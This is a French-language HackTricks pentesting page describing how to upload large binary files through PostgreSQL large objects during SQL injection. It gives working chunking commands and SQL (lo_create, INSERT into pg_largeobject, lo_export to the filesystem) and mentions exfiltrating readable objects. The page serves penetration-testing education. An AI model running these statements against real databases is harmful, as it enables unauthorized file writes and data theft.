hacktricks/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

3.8 KiB

{{#include ../../../banners/hacktricks-training.md}}

Objets volumineux PostgreSQL

PostgreSQL offre une structure connue sous le nom de grands objets, accessible via la table pg_largeobject, conçue pour stocker de grands types de données, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction COPY TO car elle permet l'exportation des données vers le système de fichiers, garantissant qu'une réplique exacte du fichier original est maintenue.

Pour stocker un fichier complet dans cette table, un objet doit être créé dans la table pg_largeobject (identifié par un LOID), suivi de l'insertion de morceaux de données, chacun de 2 Ko, dans cet objet. Il est crucial que ces morceaux soient exactement de 2 Ko (à l'exception possible du dernier morceau) pour garantir que la fonction d'exportation fonctionne correctement.

Pour diviser vos données binaires en morceaux de 2 Ko, les commandes suivantes peuvent être exécutées :

split -b 2048 your_file # Creates 2KB sized files

Pour encoder chaque fichier en Base64 ou Hex, les commandes ci-dessous peuvent être utilisées :

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Important: Lors de l'automatisation de ce processus, assurez-vous d'envoyer des morceaux de 2 Ko de bytes en texte clair. Les fichiers encodés en hex nécessiteront 4 Ko de données par morceau en raison du doublement de taille, tandis que les fichiers encodés en Base64 suivent la formule ceil(n / 3) * 4.

Le contenu des grands objets peut être consulté à des fins de débogage en utilisant :

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Utilisation de lo_creat & Base64

Pour stocker des données binaires, un LOID est d'abord créé :

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

Dans des situations nécessitant un contrôle précis, comme l'exploitation d'une Blind SQL Injection, lo_create est préféré pour spécifier un LOID fixe.

Les morceaux de données peuvent ensuite être insérés comme suit :

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Pour exporter et potentiellement supprimer l'objet volumineux après utilisation :

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Utilisation de lo_import & Hex

La fonction lo_import peut être utilisée pour créer et spécifier un LOID pour un objet volumineux :

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Après la création de l'objet, les données sont insérées par page, en veillant à ce que chaque morceau ne dépasse pas 2 Ko :

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Pour compléter le processus, les données sont exportées et l'objet volumineux est supprimé :

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Limitations

Il est noté que les objets volumineux peuvent avoir des ACL (Listes de Contrôle d'Accès), restreignant potentiellement l'accès même aux objets créés par votre utilisateur. Cependant, les objets plus anciens avec des ACL permissives peuvent encore être accessibles pour l'exfiltration de contenu.

{{#include ../../../banners/hacktricks-training.md}}